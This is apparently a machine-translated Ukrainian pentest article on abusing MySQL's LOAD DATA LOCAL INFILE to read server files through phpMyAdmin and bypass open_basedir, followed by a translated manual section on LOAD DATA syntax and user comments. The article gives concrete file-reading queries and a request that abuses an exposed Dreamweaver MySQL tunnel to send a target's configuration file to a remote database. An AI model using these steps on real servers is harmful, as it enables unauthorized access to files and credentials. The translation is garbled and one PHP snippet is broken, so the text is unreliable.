Описую досить часту ситуацію. Під час пентесту отримано доступ до phpMyAdmin на віддаленому хості, але дістатися до нього файлів не виходить. У всьому винен горезвісний прапор FILE_PRIV=no у налаштуваннях демона MySQL. Багато хто в цій ситуації здається і вважає, що файли на хості таким чином вже не прочитати. Але це завжди так.
WARNING
Вся інформація надана виключно для ознайомлення. Ні редакція, ні автор не несуть відповідальності за будь-яку можливу шкоду, заподіяну матеріалами цієї статті.
Прелюдія
Коли йдеться про взаємодію CУБД MySQL із файловою системою, то згадують, як правило:
- функцію LOAD_FILE, що дозволяє читати файли на сервері;
- конструкцію SELECT…INTO OUTFILE, за допомогою якої можна створювати нові файли.
Відповідно, якщо отриманий доступ до phpMyAdmin або іншого клієнта на віддаленій машині, то з великою ймовірністю через MySQL можна дістатися до файлової системи. Але лише за умови, що в налаштуваннях демона встановлено прапор FILE_PRIV=yes, що буває далеко не завжди. В цьому випадку треба згадати про інший оператор, куди менш відомий, але при цьому має досить потужний функціонал. Я говорю про оператора LOAD DATA INFILE, про особливості якого і буде розказано у цій статті.
Взаємодія PHP та MySQL
PHP - найпоширеніша мова для створення веб-додатків, тому варто розглянути докладніше, як вона взаємодіє з базою даних.
У PHP4 клієнтські бібліотеки MySQL були включені за умовчанням і входили в постачання PHP, тому при встановленні можна було лише відмовитися від використання MySQL, вказавши опцію
Без mysql.
PHP5 постачається без клієнтської бібліотеки. На *nix-системах зазвичай збирають PHP5 із вже встановленою на сервері бібліотекою libmysqlclient, просто задавши опцію
With-mysql=/usr
при складанні. До версії 5.3 для взаємодії з сервером MySQL використовується низькорівнева бібліотека MySQL Client Library (libmysql), інтерфейс який не оптимізований для комунікації з PHP-додатками.
Для версії PHP 5.3 і вище був розроблений MySQL Native Driver (mysqlnd), причому в версії PHP 5.4, що недавно з'явилася, цей драйвер використовується за умовчанням. Хоча вбудований драйвер MySQL написаний як розширення PHP, важливо розуміти, що не надає програмісту PHP нового API. API до бази даних MySQLдля програміста надають розширення MySQL, mysqli та PDO_MYSQL. Ці розширення можуть використовувати можливості вбудованого MySQL драйвера для спілкування з демоном MySQL.
Використання вбудованого драйвера MySQL дає деякі плюси щодо клієнтської бібліотеки MySQL: наприклад, не потрібно встановлювати MySQL, щоб збирати PHP або використовувати скрипти, що працюють з базою даних. Більше детальну інформаціюпро MySQL Native Driver та його відмінності від libmysql можна знайти в документації.
Розширення MySQL, mysqli та PDO_MYSQL можуть бути індивідуально налаштовані для використання або libmysql, або mysqlnd. Наприклад, щоб налаштувати розширення MySQL для використання MySQL Client Library, а розширення MySQL для роботи з MySQL Native Driver, необхідно вказати наступні опції:
`./configure --with-mysql=/usr/bin/mysql_config --with-mysqli=mysqlnd`
Синтаксис LOAD DATA
Оператор LOAD DATA, як свідчить документація, читає рядки з файлу і завантажує їх у таблицю дуже високої швидкості. Його можна використовувати з ключовим словом LOCAL (доступно у MySQL 3.22.6 та пізніших версіях), що вказує, звідки будуть завантажуватись дані. Якщо слово LOCAL відсутнє, сервер завантажує в таблицю вказаний файл зі своєю локальної машини, а не з клієнта машини. Тобто файл читатиметься не клієнтом MySQL, а сервером MySQL. Але для цієї операції знову ж таки необхідний привілей FILE (прапор FILE_PRIV=yes). Виконання оператора в цьому випадку можна порівняти з використанням функції LOAD_FILE - з тією різницею, що дані завантажуються в таблицю, а не виводяться. Таким чином, використовувати LOAD DATA INFILE для читання файлів має сенс тільки тоді, коли функція LOAD_FILE недоступна, тобто на дуже старих версіях MySQL-сервера.
Але якщо оператор використовується в такому вигляді: LOAD DATA LOCAL INFILE , тобто з використанням слова LOCAL, файл читається вже клієнтською програмою (на машині клієнта) і відправляється на сервер, де знаходиться база даних. При цьому для доступу до файлів привілей FILE, звичайно, не потрібний (оскільки все відбувається на машині клієнта).
Розширення MySQL/mysqli/PDO_MySQL та оператор LOAD DATA LOCAL
У розширенні MySQL можливість використовувати LOCAL регулюється PHP_INI_SYSTEM директивою mysql.allow_local_infile. За умовчанням ця директива має значення 1, і тому потрібний оператор зазвичай доступний. Також функція mysql_connect дозволяє включати можливість використання LOAD DATA LOCAL, якщо п'ятий аргумент стоїть константа 128.
Коли для з'єднання з базою даних використовується розширення PDO_MySQL, ми також можемо включити підтримку LOCAL, використовуючи константу PDO::MYSQL_ATTR_LOCAL_INFILE (integer)
$pdo = новий PDO("mysql:host=localhost;dbname=mydb", "user", "pass", array(PDO::MYSQL_ATTR_LOCAL_INFILE => 1));
Але найбільші можливості роботи з оператором LOAD DATA надає розширення mysqli. У цьому розширенні також передбачена PHP_INI_SYSTEM директива mysqli.allow_local_infile, яка регулює використання LOCAL.
Якщо з'єднання здійснюється за допомогою mysqli_real_connect, то за допомогою mysqli_options ми можемо включити, так і вимкнути підтримку LOCAL. Більше того, у цьому розширенні доступна функція mysqli_set_local_infile_handler, яка дозволяє зареєструвати callback-функцію для обробки вмісту файлів, які читає оператор LOAD DATA LOCAL INFILE.
Читання файлів
Уважний читач, напевно, вже здогадався, що якщо у нас є обліковий запис у phpMyAdmin, то ми зможемо читати довільні файли, не маючи привілей FILE, і навіть оминати обмеження open_basedir. Адже дуже часто і клієнт (в даному випадку phpMyAdmin), і демон MySQL знаходяться на одній машині. Незважаючи на обмеження політики безпеки сервера MySQL, ми можемо скористатися тим, що для клієнта ця політика не діє, проте прочитати файли з системи, запихнувши їх у базу даних.
Алгоритм простий. Достатньо виконати такі SQL-запити:
- Створюємо таблицю, в яку записуватимемо вміст файлів: CREATE TABLE temp (content text);
- Відправляємо вміст файлу в створену таблицю: LOAD DATA LOCAL INFILE "/etc/hosts"
Вуаль. Вміст файлу /etc/hosts тепер у таблиці temp. Чи потрібно прочитати бінарні файли? Немає проблем. Якщо першому кроці ми створимо таку таблицю:
CREATE TABLE "bin" ("bin" BLOB NOT NULL) ENGINE = MYISAM ;
то в неї можна буде завантажувати і бінарні файли. Правда, в кінець файлів додаватимуться зайві біти, але їх можна буде прибрати в будь-якому hex-редакторі. Таким чином можна завантажити з сервера скрипти, захищені IonCube/Zend/TrueCrypt/NuSphere, та розкодувати їх.
Інший приклад, як можна використовувати LOAD DATA LOCAL INFILE - дізнатися шлях до конфігу Apache'а. Робиться це так:
- Спочатку дізнаємося шлях до бінарника, для цього описаним вище способом читаємо /proc/self/cmdline.
- Далі читаємо безпосередньо бінарник, де шукаємо HTTPD_ROOT/SERVER_CONFIG_FILE.
Зрозуміло, що в цій ситуації скрипти phpMyAdmin відіграють роль клієнта для з'єднання з базою даних. І замість phpMyAdmin можна використати будь-який інший веб-інтерфейс для роботи з MySQL.
Наприклад, можна використовувати скрипти для бекапу та відновлення бази. Ще в 2007 році французький хакер під ніком acidroot виклав у паблік експлойт, заснований на цьому зауваженні і дає можливість читати файли з адмін-панелі phpBB<= 2.0.22.
Тунель зручно. Тунель небезпечно
Під час встановлення складних веб-застосунків часто потрібний прямий доступ до бази, наприклад для початкового налаштування та коригування роботи скриптів. Тому в деяких випадках доцільно встановити на сервері простий скрипт - так званий MySQL Tunnel, що дозволяє виконувати запити до бази даних за допомогою зручного клієнта замість phpMyAdmin.
Тунелів для роботи з базою даних досить багато, але вони не дуже поширені. Мабуть, один із найвідоміших - це Macromedia Dream Weaver Server Scripts. Подивитися вихідники цього скрипту можна.
Основна відмінність MySQL Tunnel від phpMyAdmin – це необхідність вводити не тільки логін та пароль від бази даних, але й хост, з яким потрібно з'єднатися. При цьому тунелі часто залишають активними, ну просто про всяк випадок, мало що ще потрібно буде налаштувати. Начебто скористатися ними можна, тільки якщо є обліковий запис у базу даних - тоді чого боятися? Коротше, складається враження, що тунель особливої загрози безпеці веб-серверу не несе. Але насправді не все так добре, як здається на перший погляд.
Розглянемо таку ситуацію. Нехай на сервері A є сайт site.com із встановленим тунелем http://site.com/_mmServerScripts/MMHTTPDB.php. Припустимо, що на сервері А можна використовувати LOAD DATA LOCAL (як обговорювалося вище, це, наприклад, можливо при дефолтних налаштуваннях). У цьому випадку ми можемо взяти віддалений MySQL-сервер, в бази якого пускають звідусіль і який також дозволяє використовувати LOCAL, і з'єднатися з цим сервером за допомогою тунелю. Дані для коннекту з віддаленим MySQL-сервером:
DB Host: xx.xx.xx.xxx DB Name: name_remote_db DB User: our_user DB Pass: our_pass
У цій ситуації сервер A відіграватиме роль клієнта, і тому ми можемо відправляти файли з його хоста до віддаленої бази або, іншими словами, читати файли. Наступним нехитрим запитом:
Type=MYSQL&Timeout=100&Host=xx.xx.xx.xxx&Database=name_remote_db&UserName=our_user&Password=our_pass&opCode=ExecuteSQL&SQL=LOAD DATA LOCAL INFILE /path/to/script/setup_options.php" INTO TABLE BY "" LINES TERMINATED BY "__eof__"
Насправді ця вразливість більш небезпечна, ніж звичайне читання файлів: адже вона дозволяє прочитати конфігураційні файли скриптів, встановлених на сервері A. Через цей же тунель можна отримати прямий доступ до бази, які керують цими скриптами. Описану вище техніку використання м'язових тунелів можна трохи узагальнити і застосувати при експлуатації unserialize-уразливостей.
Клієнт-сервер
Щоб краще зрозуміти можливості LOAD DATA, необхідно згадати, що CУБД MySQL використовує традиційну архітектуру клієнт-сервер. Працюючи з MySQL, ми реально працюємо з двома програмами:
- Програма сервера бази даних, розташована на комп'ютері, де зберігається база даних. Демон mysqld «прослуховує» запити клієнтів, що надходять через мережу, і здійснює доступ до вмісту бази даних, надаючи інформацію, яку запитують клієнти. Якщо mysqld запущено з опцією --local-infile=0, то LOCAL не працюватиме;
- клієнтська програма здійснює підключення до сервера та передає запити на сервер. Дистрибутив CУБД MySQL включає декілька клієнтських програм: консольний клієнт MySQL (найчастіше використовувана), а також mysqldump, mysqladmin, mysqlshow, mysqlimport і так далі. А за потреби навіть можна створити свою клієнтську програму на основі стандартної клієнтської бібліотеки libmysql, яка постачається разом із CУБД MySQL.
Якщо під час використання стандартного клієнта MySQL не вдається задіяти оператор LOAD DATA LOCAL, варто скористатися ключем --local-infile:
Mysql --local-infile sampdb mysql> LOAD DATA LOCAL INFILE "member.txt" INTO TABLE member;
Або вказати у файлі /my.cnf опцію для клієнта:
Local-infile=1
Важливо, що за умовчанням усі MySQL-клієнти та бібліотеки компілюються з опцією --enable-local-infile для забезпечення сумісності з MySQL 3.23.48 та старішими версіями, тому LOAD DATA LOCAL зазвичай доступно для стандартних клієнтів. Однак команди до MySQL-серверу відсилаються в основному не з консолі, а зі скриптів, тому мови для веб-розробки також мають клієнтів для роботи з базою даних, які можуть відрізнятися за функціоналом від стандартного клієнта MySQL.
Звичайно, ця особливість оператора LOAD DATA може бути загрозою безпеці системи, і тому починаючи з версії MySQL 3.23.49 та MySQL 4.0.2 (4.0.13 для Win) опція LOCAL буде працювати тільки якщо обидва – клієнт та сервер – дозволяють її.
Обхід обмежень open_basedir
Використання LOAD DATA досить часто дозволяє оминати обмеження open_basedir. Це може бути корисним, якщо, наприклад, ми маємо доступ до директорії одного користувача на shared-хостингу, але хочемо прочитати скрипти з домашнього каталогу іншого користувача. Тоді, встановивши такий скрипт
1)); $e=$pdo->exec("LOAD DATA LOCAL INFILE". $ pdo = null; ?>
Висновок
Цікаво, що описана можливість оператора LOAD DATA відома не менше десяти років. Згадку про неї можна, наприклад, знайти в тикеті [#15408] (Safe Mode / MySQL Vuln 2002-02-06), і потім схожі питання неодноразово виринали на bugs.php.net [#21356] [#23779] [#28632 ] [#31261] [#31711]. На що розробники відповідали дослівно:
[email protected] It's not a bug, it's a feature:)
Або надавали тикету "Status:Wont fix". Або обмежувалися патчами, які майже не вирішували. Тикети з цієї теми виникали знову. Тому вказаний спосіб обходу open_basedir і досі працює на досить велику кількість серверів. Втім, з появою нового драйвера mysqlnd, схоже, було прийнято рішення внести суттєві зміни: при дефолтних установках цей оператор тепер взагалі не виконуватиметься. Сподіватимемося, що в найближчому майбутньому розробники наведуть лад у цьому питанні.
LOAD DATA INFILE "file_name.txt" INTO TABLE tbl_name [ ENCLOSED BY ""] ] [(col_name,...)]Команда LOAD DATA INFILE читає рядки з текстового файлу та вставляє їх у таблицю з дуже високою швидкістю. Якщо встановлено ключове слово LOCAL , то файл читається з клієнтського хоста. Якщо ж LOCAL не вказується, файл повинен перебувати на сервері. (Опція LOCAL доступна у версії MySQL 3.22.6 та пізніших.)
Якщо текстові файли, які потрібно прочитати, знаходяться на сервері, то з міркувань безпеки ці файли повинні або розміщуватись у директорії бази даних, або бути доступними для читання всім користувачам. Крім того, для застосування команди LOAD DATA INFILE до серверних файлів необхідно мати привілеї FILE для серверного хоста. See section 4.2.7 Привілеї MySQL .
У версіях MySQL 3.23.49 та MySQL 4.0.2 команда LOCAL не працюватиме у випадках, якщо демон mysqld запущений з параметром --local-infile=0 або якщо для клієнта не включена можливість підтримки LOCAL . See section 4.2.4 Питання безпеки, які стосуються команди LOAD DATA LOCAL .
Якщо вказується ключове слово LOW_PRIORITY , виконання цієї команди LOAD DATA буде затримано доти, поки інші клієнти не завершать читання цієї таблиці.
Якщо вказується ключове слово CONCURRENT під час роботи з таблицями MyISAM, інші потоки можуть витягувати дані з таблиці під час виконання команди LOAD DATA. Використання цієї можливості, звичайно, трохи впливатиме на продуктивність виконання LOAD DATA , навіть якщо ніякий інший потік не використовує цю таблицю в цей же час.
При застосуванні опції LOCAL виконання може відбуватися дещо повільніше порівняно з наданням серверу доступу до файлів безпосередньо, оскільки вміст файлу має переміститися з клієнтського хоста на сервер. З іншого боку, в цьому випадку немає потреби у привілеях FILE для завантаження локальних файлів.
При використанні версій MySQL до 3.23.24 за допомогою команди LOAD DATA INFILE не можна читати з FIFO . Якщо потрібно читати з FIFO (наприклад, стандартний висновок gunzip), слід використовувати LOAD DATA LOCAL INFILE .
Можна також завантажувати файли даних, використовуючи утиліту mysqlimport. Ця утиліта виконує завантаження файлів шляхом посилки на сервер команд LOAD DATA INFILE. Опція --local змушує mysqlimport читати файли даних із клієнтського хоста. Можна вказати параметр --compress , щоб отримати кращу продуктивність під час роботи через повільні мережі, якщо клієнт і сервер підтримують протокол стиснення даних.
Якщо файли знаходяться на сервері, останній діє за такими правилами:
- Якщо заданий абсолютний (повний) шлях до файлу, сервер використовує цей шлях без змін.
- Якщо заданий відносний шлях до файлу із зазначенням одного чи більше початкових каталогів, пошук файлу буде здійснюватися щодо зазначених каталогів у каталозі даних сервера (datadir).
- Якщо дається шлях до файлу без вказівки початкових каталогів, сервер шукає цей файл в директорії використовуваної бази даних.
Звідси випливає, що файл, заданий як `./myfile.txt", читається з серверного каталогу даних, тоді як файл, заданий як `myfile.txt", читається з каталогу бази даних, що використовується. Наприклад, наступна команда LOAD DATA читає файл data.txt у каталозі бази даних для db1 , оскільки db1 є поточною базою даних, навіть якщо ця команда явно містить вказівку завантажити файл у таблицю бази даних db2:
Mysql> USE db1; mysql> LOAD DATA INFILE "data.txt" INTO TABLE db2.my_table;
Ключові слова REPLACE та IGNORE керують обробкою вхідних записів, які дублюють існуючі записи з тими самими величинами унікальних ключів. Якщо вказати REPLACE , то нові рядки замінять існуючі з таким самим унікальним ключем. Якщо вказати IGNORE , то вхідні рядки, що мають той самий унікальний ключ, як і існуючі, будуть пропускатися. Якщо не вказано жодного з параметрів, то при виявленні дублюючого значення ключа виникає помилка і частина текстового файлу, що залишилася, ігнорується.
Якщо дані завантажуються з локального файлу з допомогою ключового слова LOCAL , то сервер зможе перервати передачу даних у цій операції, тому за замовчуванням виконання команди відбувається як і, як й у разі, коли вказується IGNORE .
При використанні LOAD DATA INFILE на порожніх таблицях MyISAM усі неунікальні індекси створюються в окремому пакеті (як REPAIR). Зазвичай, це значно прискорює роботу LOAD DATA INFILE у разі великої кількості індексів.
Команда LOAD DATA INFILE є додатковою до SELECT ... INTO OUTFILE. See section 6.4.1 Синтаксис оператора SELECT. Щоб записати дані з бази даних у файл, використовується SELECT ... INTO OUTFILE . Щоб прочитати дані назад до бази даних, використовується LOAD DATA INFILE . Синтаксис FIELDS та LINES однаковий в обох командах. Обидві частини є необов'язковими, але якщо зазначені обидва, то FIELDS має передувати LINES.
Якщо вказується FIELDS , то кожне з його виразів (TERMINATED BY , ENCLOSED BY , ESCAPED BY) також є необов'язковим, проте необхідно вказати щонайменше одне з них.
Якщо затвердження FIELDS не визначено, то за замовчуванням його параметри прийматимуть такі значення:
FIELDS TERMINATED BY "\t" ENCLOSED BY "" ESCAPED BY "\\"
Якщо твердження LINES не визначено, то за умовчанням воно має таку структуру:
LINES TERMINATED BY "\n"
Іншими словами, при установках за замовчуванням команда LOAD DATA INFILE під час читання вхідних даних працюватиме так:
- Шукати кінці рядків у вигляді символів `\n"
- Розбивати рядки на поля за символами табуляції.
- Не можна очікувати, що поля можуть бути укладені в символи цитування.
- Інтерпретувати символи табуляції, нового рядка або `\" , що зустрічаються, попередні "\" , як літерали, що є частиною значення поля.
І, навпаки, якщо діють установки за замовчуванням під час запису вихідних даних, команда SELECT ... INTO OUTFILE працюватиме так:
- Вставляйте символи табуляції між полями.
- Не укладати поля символи цитування. Використовувати символи `\" для екранування екземплярів символів табуляції, нового рядка або `\", які з'являються серед величин поля.
- Вставляти символи нового рядка наприкінці кожного запису.
Слід враховувати, що в записі FIELDS ESCAPED BY `\" необхідно вказувати два зворотні сліші для величини, яка повинна читатися як один зворотний сліш.
Опцію IGNORE number LINES можна використовувати для ігнорування заголовка імен стовпців на початку файлу:
Mysql> LOAD DATA INFILE "/tmp/file_name" INTO TABLE test IGNORE 1 LINES;
При використанні SELECT ... INTO OUTFILE спільно з LOAD DATA INFILE для того, щоб дані з бази даних прочитати у файл, а потім назад з файлу в базу даних, опції, оброблювальні поля та рядки, для обох команд повинні збігатися. В іншому випадку LOAD DATA INFILE не зможе інтерпретувати вміст файлу правильно. Припустимо, що команда SELECT ... INTO OUTFILE використовується для запису у файл з полями, розділеними комами:
Mysql> SELECT * INTO OUTFILE "data.txt" FIELDS TERMINATED BY "," FROM ...;
Mysql> LOAD DATA INFILE "data.txt" INTO TABLE table2 FIELDS TERMINATED BY ",";
Mysql> LOAD DATA INFILE "data.txt" INTO TABLE table2 FIELDS TERMINATED BY "\t";
Схожий результат вийшов би, якби кожен вхідний рядок інтерпретувався як окреме поле.
Команду LOAD DATA INFILE також можна використовувати для читання файлів, отриманих із зовнішніх джерел. Наприклад, поля у файлі формату бази даних dBASE будуть розділені комами і поміщені в подвійні лапки. Якщо рядки в цьому файлі закінчуються символами нового рядка, то для запису файлу можна використовувати наведену нижче команду, в якій проілюстровано завдання опцій, що обробляють поля та рядки:
Mysql> LOAD DATA INFILE "data.txt" INTO TABLE tbl_name FIELDS TERMINATED BY "," ENCLOSED BY """ LINES TERMINATED BY "\n";
Будь-яка з опцій, що обробляють поля та рядки, може задавати порожній рядок (""). Якщо рядок не порожній, то величини опцій FIELDS ENCLOSED BY та FIELDS ESCAPED BY повинні містити один символ. Величини опцій FIELDS TERMINATED BY та LINES TERMINATED BY можуть містити більш ніж один символ. Наприклад, щоб записати рядки, що закінчуються парами ``повернення каретки - переклад рядка"" (як у текстових файлах MS DOS або Windows), необхідно задати наступний вираз: LINES TERMINATED BY "\r\n" .
CREATE TABLE jokes (a INT NOT NULL AUTO_INCREMENT PRIMARY KEY, joke TEXT NOT NULL); LOAD DATA INFILE "/tmp/jokes.txt" INTO TABLE jokes FIELDS TERMINATED BY ""; LINES TERMINATED BY "\n%%\n" (joke);
Опція FIELDS ENCLOSED BY служить для керування полями, які містяться в задані символи. Якщо параметр OPTIONALLY опущений, у виведенні (SELECT ... INTO OUTFILE) всі поля будуть поміщені в символи, задані ENCLOSED BY . Приклад такого висновку (в якому як роздільник полів використовується кома) показаний нижче:
"1","a string","100.20" "2","a string containing a , comma","102.20" "3","a string containing a \"quote","102.20" "4"," a string containing a "quote and comma","102.20"
Якщо вказано параметр OPTIONALLY , то заданим символом ENCLOSED BY виділяються тільки поля типу CHAR і VARCHAR:
1,"a string",100.20 2,"a string containing a, comma",102.20 3,"a string containing a" quote",102.20 4,"a string containing a", quote and comma",102.20
Слід враховувати, що поява символів ENCLOSED BY всередині величини поля екранується застосуванням перед ними префікса ESCAPED BY . Також слід враховувати, що якщо в ESCAPED BY вказано порожню величину, існує можливість створити висновок, який оператор LOAD DATA INFILE не зможе правильно прочитати. Наприклад, якщо символ екранування є порожнім рядком, висновок, представлений вище, виявиться таким, як показано нижче. Зверніть увагу: друге поле в четвертому рядку містить кому, що йде за лапкою, яка (помилково) з'являється, щоб обмежити дане поле:
1,"a string",100.20 2,"a string containing a, comma",102.20 3,"a string containing a "quote",102.20 4,"a string containing a", quote and comma",102.20
Для введення символу ENCLOSED BY , якщо він є, видаляється з обох кінців величин полів. (Це справедливо незалежно від того, вказано чи немає параметр OPTIONALLY: під час роботи з вхідними даними параметр OPTIONALLY не враховується.) Якщо зустрічається символ ENCLOSED BY , якому передує символ ESCAPED BY , він інтерпретується як частину поточної величини поля. Крім того, подвійні символи ENCLOSED BY , що зустрічаються всередині поля, інтерпретуються як одиночні символи ENCLOSED BY , якщо поле саме починається з цього символу. Наприклад, якщо вказується ENCLOSED BY """ , то лапки обробляються, як показано нижче:
"The "BIG"" boss" -> The "BIG" boss The "BIG" boss -> The "BIG" boss The ""BIG"" boss -> The ""BIG"" boss
Опція FIELDS ESCAPED BY служить для керування записом чи читанням спеціальних символів. Якщо символ FIELDS ESCAPED BY не порожній, він використовується як префікс для наступних символів у виводі:
- Символ FIELDS ESCAPED BY
- Символ FIELDS ENCLOSED BY
- Перший символ величин FIELDS TERMINATED BY та LINES TERMINATED BY
- Символ ASCII 0 (насправді після символу, що екранує, пишеться ASCII `0" , а не байт з нульовою величиною)
Якщо символ FIELDS ESCAPED BY порожній, жодні символи не екрануються. Насправді вказувати порожній екрануючий символ немає сенсу, особливо якщо величини полів в даних містять якісь із символів, зазначених у наведеному вище списку.
Якщо символ FIELDS ESCAPED BY не порожній, то у разі вхідних даних входження такого символу видаляються і символ, що наступає за таким входженням, приймається буквально як частина величини поля. Винятками є екрановані `0" або `N" (наприклад, \0 або \N, якщо екрануючим символом є `\"). Ці послідовності інтерпретуються як ASCII 0 (байт з нульовою величиною) і NULL. Див. нижче правила обробки величини NULL .
Для отримання більш повної інформації про синтаксис символу `\" див. розділ section 6.1.1 Літерали: подання рядків і чисел .
У ряді випадків опції обробки полів та рядків взаємодіють:
- Якщо LINES TERMINATED BY є порожнім рядком і FIELDS TERMINATED BY є не порожнім рядком, рядки також закінчуються символами FIELDS TERMINATED BY .
- Якщо обидві величини FIELDS TERMINATED BY та FIELDS ENCLOSED BY є порожніми (""), то застосовується формат із фіксованим рядком (без роздільників). У форматі з фіксованим рядком не передбачено жодних роздільників між полями. Натомість під час читання і запису величин стовпців використовується ширина " " виведення " " стовпців. Наприклад, якщо стовпець оголошено як INT(7) , значення цього стовпця записуються з використанням полів шириною 7 символів. Вхідні значення цього стовпця виходять читанням 7 символів. Формат із фіксованим рядком впливає також на обробку величин NULL (див. нижче). Зазначимо, що формат із фіксованими розмірами не працюватиме при використанні мультибайтного набору символів.
Значення NULL в залежності від опцій FIELDS і LINES, що використовуються, будуть оброблятися по-різному:
- Для встановлених за умовчанням величин FIELDS і LINES NULL записується як \N для виведення і \N читається як NULL для введення (виходячи з припущення, що символ ESCAPED BY дорівнює `\").
- Якщо FIELDS ENCLOSED BY не є порожнім, то поле, значення якого є словом з букв NULL , читається як величина NULL (на відміну від слова NULL , укладеного між символами FIELDS ENCLOSED BY , яке читається як рядок " NULL ").
- Якщо FIELDS ESCAPED BY порожній, NULL записується як слово NULL .
- У форматі з фіксованим рядком (який має місце, якщо обидва специфікатори - FIELDS TERMINATED BY та FIELDS ENCLOSED BY - є порожніми), NULL записується як порожній рядок. Зазначимо, що внаслідок цього величина NULL та порожній рядок у даній таблиці будуть невиразні при записі у файл, оскільки вони обидві записуються як порожні рядки. Якщо необхідно, щоб ці величини були різними при зворотному читанні файлу, не слід використовувати формат з фіксованим рядком.
Деякі випадки, які не підтримує оператор LOAD DATA INFILE:
- Рядки з фіксованим розміром (обидві опції FIELDS TERMINATED BY та FIELDS ENCLOSED BY порожні) та стовпці типу BLOB або TEXT .
- Якщо вказується роздільник, що збігається з іншим або є префіксом іншого, LOAD DATA INFILE не зможе інтерпретувати введення правильно. Наприклад, наступне твердження FIELDS викликає проблеми: FIELDS TERMINATED BY """ ENCLOSED BY """
- Якщо опція FIELDS ESCAPED BY порожня, то входження символу FIELDS ENCLOSED BY або LINES TERMINATED BY , за яким слідує символ FIELDS TERMINATED BY , приведе до передчасного завершення читання поля або рядка командою LOAD DATA INFI. Це відбувається через те, що LOAD DATA INFILE не може правильно визначити, де закінчується поле чи рядок.
Наступний приклад завантажує всі стовпці таблиці persondata:
Mysql> LOAD DATA INFILE "persondata.txt" INTO TABLE persondata;
Список полів не вказується, отже, команда LOAD DATA INFILE чекає на вхідні рядки для заповнення кожного стовпця таблиці. При цьому використовуються значення FIELDS та LINES за умовчанням.
Якщо потрібно завантажити лише деякі зі стовпців таблиці, необхідно задати список стовпців:
Mysql> LOAD DATA INFILE "persondata.txt" INTO TABLE persondata (col1,col2,...);
Список полів необхідно задавати і у випадках, якщо порядок проходження полів у вхідному файлі відрізняється від порядку стовпців у даній таблиці. В іншому випадку MySQL не зможе встановити відповідність полів і стовпців таблиці, що вводяться.
Якщо рядок має замало полів, то стовпці, для яких відсутні поля у вхідному файлі, встановлюються у значення за промовчанням. Призначення величин за замовчуванням описується у розділі 6.5.3 Синтаксис оператора CREATE TABLE.
Значення порожнього поля інтерпретується інакше, ніж відсутність значення:
- Для рядкових типів стовпець встановлюється порожній рядок.
- Для числових типів стовпець встановлюється 0 .
- Для типів дати та часу стовпець встановлюється у відповідне цьому типу значення "нуль". See section 6.2.2 Типи даних дати та часу.
Зазначимо, що це ті самі величини, які виявляться в стовпці в результаті явного призначення порожнього рядка стовпцям рядкового, числового типів або типів дати або часу в команді INSERT або UPDATE .
Стовпці типу TIMESTAMP встановлюються тільки в поточну дату або час у випадках, коли для стовпця призначено значення NULL або (тільки для першого стовпця TIMESTAMP), якщо стовпець TIMESTAMP знаходиться поза списком полів, якщо такий список заданий.
Якщо вхідний рядок має надто багато полів, зайві поля ігноруються і кількість попереджень збільшиться.
Команда LOAD DATA INFILE інтерпретує всі вхідні дані як рядки, тому не можна вказувати числові величини для стовпців ENUM або SET, як і для команд INSERT . Усі величини ENUM та SET повинні бути задані як рядки!
За допомогою C API можна отримати інформацію про запит, викликавши функцію API mysql_info() після закінчення запиту LOAD DATA INFILE . Нижче наведено формат рядка інформації для цього випадку:
Records: 1 Deleted: 0 Skipped: 0 Warnings: 0
Застереження видаються за тих самих обставин, як і запису величин командою INSERT (see section 6.4.3 Синтаксис оператора INSERT), крім того, що команда LOAD DATA INFILE додатково генерує попередження, коли у вхідному рядку занадто мало чи занадто багато полів. Застереження ніде не зберігаються; кількість попереджень може використовуватися тільки для того, щоб перевірити, чи вказані дії нормально виконалися. Якщо необхідно точно знати причини попереджень, слід виконати команду SELECT ... INTO OUTFILE в інший файл і порівняти результат з початковим вхідним файлом - це єдиний спосіб отримати таку інформацію.
Якщо потрібно виконати LOAD DATA для читання з каналу, можна застосувати наступний трюк:
Mkfifo /mysql/db/x/x chmod 666 /mysql/db/x/x cat /nt/mysql/db/x/x mysql -e "LOAD DATA INFILE "x" INTO TABLE x" x
При використанні версії MySQL старше 3.23.25, вищенаведене можна зробити тільки з LOAD DATA LOCAL INFILE .
Щоб отримати докладнішу інформацію про ефективність INSERT порівняно з LOAD DATA INFILE та збільшення швидкості LOAD DATA INFILE, див. розділ 5.2.9 Швидкість виконання запитів INSERT.
User Comments
| Posted by Jason Titus | [Delete] [Edit] |
"The warnings are not stored anywhere; the number of warnings може лише бути used as an
indication if everything went well"
You have got to be kidding me. Is this done as some sort of DBA punishment? i.e. - We
KNOW what the problems були, but you"ll just have to build a output file and look through
ваші мільйони повідомлень про find them.
where they belong? Go ahead and make it an option, but this is enough trouble to make
me switch back to Oracle (і це робиться).
| Posted by campbell on Friday May 17 2002, @6:24am | [Delete] [Edit] |
Second that. (!) I don't understand how you
write that sentance with straight face.
| Posted by Jonathon Padfield on Friday May 17 2002, @6:24am | [Delete] [Edit] |
Also, немає інформації про які рядки є skipped
is given.
| Posted by on Friday May 17 2002, @6:24am | [Delete] [Edit] |
Цей feature is very usefull when submitting an
INSERT від web page. If the user hits
refresh, and reposts form data, що results in a
subsequent INSERT of the same primary key data,
boom, app breaks. This way, the user could
hit F5 till їх face turns blue, and they
won"t break the REPLACE statement.
| [Delete] [Edit] |
I my MyDB folder в c:\mysql\data
I place there Data.txt and when I execute
LOAD DATA LOCAL INFILE "Data.txt" INTO TABLE
MyTable it says: Command has successfully executed
but NO values are adde to MyTable.
I am under W2K
| Posted by van hoof philip on Friday May 17 2002, @6:24am | [Delete] [Edit] |
I want to syncronize my database with another
database від часу до часу. This means that I
will have to use the REPLACE thing. But what about
records that don"t excist anylonger in the newer
database. Will they be deleted in the MySQL one ?
Is there a way to auto-delete these ? Or is the
only solution to drop my MySQL table and recreate
before I start LOAD"ing it. I am using crontab
scripts for this operation so no human interaction
є можливим під час цих операцій.
| Posted by on Friday May 17 2002, @6:24am | [Delete] [Edit] |
The documentation is unclear o what
constitutes a "unique" key/index в цьому регіоні. It
backreferences до "insert", але insert doesn"t
have such a constraint. I"ve found that primary
keys are sufficiently unique, but I"ve had to add
primaries where I didn"t want them. Perhaps I"m
missing something.
| Posted by on Friday May 17 2002, @6:24am | [Delete] [Edit] |
It is very frustrating to get warnings when one is
importing data into a MySQL database and not be
able to access any information про warnings.
MySQL реально потребує add a feature that will
report what a warning is ABOUT rather than just
report a warning. Ideally information про
the warning should be provided immediately. At
the very least some sort of error-log повинен бути
створено, що user can access.
| Posted by on Friday May 17 2002, @6:24am | [Delete] [Edit] |
On the "F5 till their face turns blue" subject...
